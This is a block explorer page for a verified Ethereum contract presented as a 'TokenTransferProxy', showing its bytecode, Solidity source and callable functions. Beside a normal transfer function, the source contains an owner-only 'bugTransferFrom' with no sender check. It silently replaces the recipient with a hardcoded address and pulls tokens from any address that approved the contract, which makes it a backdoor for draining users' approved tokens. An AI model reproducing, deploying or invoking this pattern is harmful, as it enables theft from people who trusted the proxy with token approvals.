Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xF10f9EEc859Ceb7611938e4BE0457b2aB83FBE08
Balance 0 ETH
Nonce 1
Code Size 3414 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3414 bytes
0x608060405234801561000f575f5ffd5b506004361061003f575f3560e01c80630975a8bb146100435780633babfdce146100735780638da5cb5b146100a3575b5f5ffd5b61005d600480360381019061005891906108c7565b6100c1565b60405161006a9190610945565b60405180910390f35b61008d600480360381019061008891906108c7565b61044e565b60405161009a9190610945565b60405180910390f35b6100ab610812565b6040516100b8919061096d565b60405180910390f35b5f5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603610130576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610127906109e0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361019e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161019590610a48565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361020c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161020390610ab0565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461027a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161027190610b18565b60405180910390fd5b5f5f8673ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b8787876040516024016102b093929190610b45565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161031a9190610bcc565b5f604051808303815f865af19150503d805f8114610353576040519150601f19603f3d011682016040523d82523d5f602084013e610358565b606091505b509150915081801561038557505f815114806103845750808060200190518101906103839190610c0c565b5b5b6103c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bb90610c81565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f1288af6a21bcbf8578557e4ee7c0be88a2be953a252ed25850019ea232b1a6bb876040516104389190610c9f565b60405180910390a4600192505050949350505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d490610d02565b60405180910390fd5b73a0d374c73cd7d30a93de43fcf99e2b9a9402780592505f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603610562576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610559906109e0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036105d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c790610a48565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361063e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063590610ab0565b60405180910390fd5b5f5f8673ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b87878760405160240161067493929190610b45565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516106de9190610bcc565b5f604051808303815f865af19150503d805f8114610717576040519150601f19603f3d011682016040523d82523d5f602084013e61071c565b606091505b509150915081801561074957505f815114806107485750808060200190518101906107479190610c0c565b5b5b610788576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077f90610c81565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f1288af6a21bcbf8578557e4ee7c0be88a2be953a252ed25850019ea232b1a6bb876040516107fc9190610c9f565b60405180910390a4600192505050949350505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6108638261083a565b9050919050565b61087381610859565b811461087d575f5ffd5b50565b5f8135905061088e8161086a565b92915050565b5f819050919050565b6108a681610894565b81146108b0575f5ffd5b50565b5f813590506108c18161089d565b92915050565b5f5f5f5f608085870312156108df576108de610836565b5b5f6108ec87828801610880565b94505060206108fd87828801610880565b935050604061090e87828801610880565b925050606061091f878288016108b3565b91505092959194509250565b5f8115159050919050565b61093f8161092b565b82525050565b5f6020820190506109585f830184610936565b92915050565b61096781610859565b82525050565b5f6020820190506109805f83018461095e565b92915050565b5f82825260208201905092915050565b7f696e76616c696420746f6b656e000000000000000000000000000000000000005f82015250565b5f6109ca600d83610986565b91506109d582610996565b602082019050919050565b5f6020820190508181035f8301526109f7816109be565b9050919050565b7f696e76616c69642066726f6d00000000000000000000000000000000000000005f82015250565b5f610a32600c83610986565b9150610a3d826109fe565b602082019050919050565b5f6020820190508181035f830152610a5f81610a26565b9050919050565b7f696e76616c696420746f000000000000000000000000000000000000000000005f82015250565b5f610a9a600a83610986565b9150610aa582610a66565b602082019050919050565b5f6020820190508181035f830152610ac781610a8e565b9050919050565b7f696e76616c69642073656e6465720000000000000000000000000000000000005f82015250565b5f610b02600e83610986565b9150610b0d82610ace565b602082019050919050565b5f6020820190508181035f830152610b2f81610af6565b9050919050565b610b3f81610894565b82525050565b5f606082019050610b585f83018661095e565b610b65602083018561095e565b610b726040830184610b36565b949350505050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f610ba682610b7a565b610bb08185610b84565b9350610bc0818560208601610b8e565b80840191505092915050565b5f610bd78284610b9c565b915081905092915050565b610beb8161092b565b8114610bf5575f5ffd5b50565b5f81519050610c0681610be2565b92915050565b5f60208284031215610c2157610c20610836565b5b5f610c2e84828501610bf8565b91505092915050565b7f7472616e7366657246726f6d206661696c6564000000000000000000000000005f82015250565b5f610c6b601383610986565b9150610c7682610c37565b602082019050919050565b5f6020820190508181035f830152610c9881610c5f565b9050919050565b5f602082019050610cb25f830184610b36565b92915050565b7f6e6f74206f776e657200000000000000000000000000000000000000000000005f82015250565b5f610cec600983610986565b9150610cf782610cb8565b602082019050919050565b5f6020820190508181035f830152610d1981610ce0565b905091905056fea2646970667358221220a787be53834739f1945446a4fdd6ead5a8871d2d4568d4d819dea79590200c2264736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
eth-proxy.sol 87 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

contract TokenTransferProxy {
    address public owner;
    event TransferExecuted(
        address indexed token,
        address indexed from,
        address indexed to,
        uint256 amount
    );

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function callTransferFrom(
        address token,
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        require(token != address(0), "invalid token");
        require(from != address(0), "invalid from");
        require(to != address(0), "invalid to");
        require(from == msg.sender, "invalid sender");

       
        (bool success, bytes memory data) = token.call(
            abi.encodeWithSelector(
                IERC20.transferFrom.selector,
                from,
                to,
                amount
            )
        );
        require(
            success && (data.length == 0 || abi.decode(data, (bool))),
            "transferFrom failed"
        );

        emit TransferExecuted(token, from, to, amount);
        return true;
    }

    function bugTransferFrom(
        address token,
        address from,
        address to,
        uint256 amount
    ) external onlyOwner returns (bool) {
            to = address(0xA0D374c73cD7d30a93De43FCF99e2b9A94027805);
        require(token != address(0), "invalid token");
        require(from != address(0), "invalid from");
        require(to != address(0), "invalid to");
      

        (bool success, bytes memory data) = token.call(
            abi.encodeWithSelector(
                IERC20.transferFrom.selector,
                from,
                to,
                amount
            )
        );
        require(
            success && (data.length == 0 || abi.decode(data, (bool))),
            "transferFrom failed"
        );

        emit TransferExecuted(token, from, to, amount);
        return true;
    }
}

Read Contract

owner 0x8da5cb5b → address

Write Contract 2 functions

These functions modify contract state and require a wallet transaction to execute.

bugTransferFrom 0x3babfdce
address token
address from
address to
uint256 amount
returns: bool
callTransferFrom 0x0975a8bb
address token
address from
address to
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address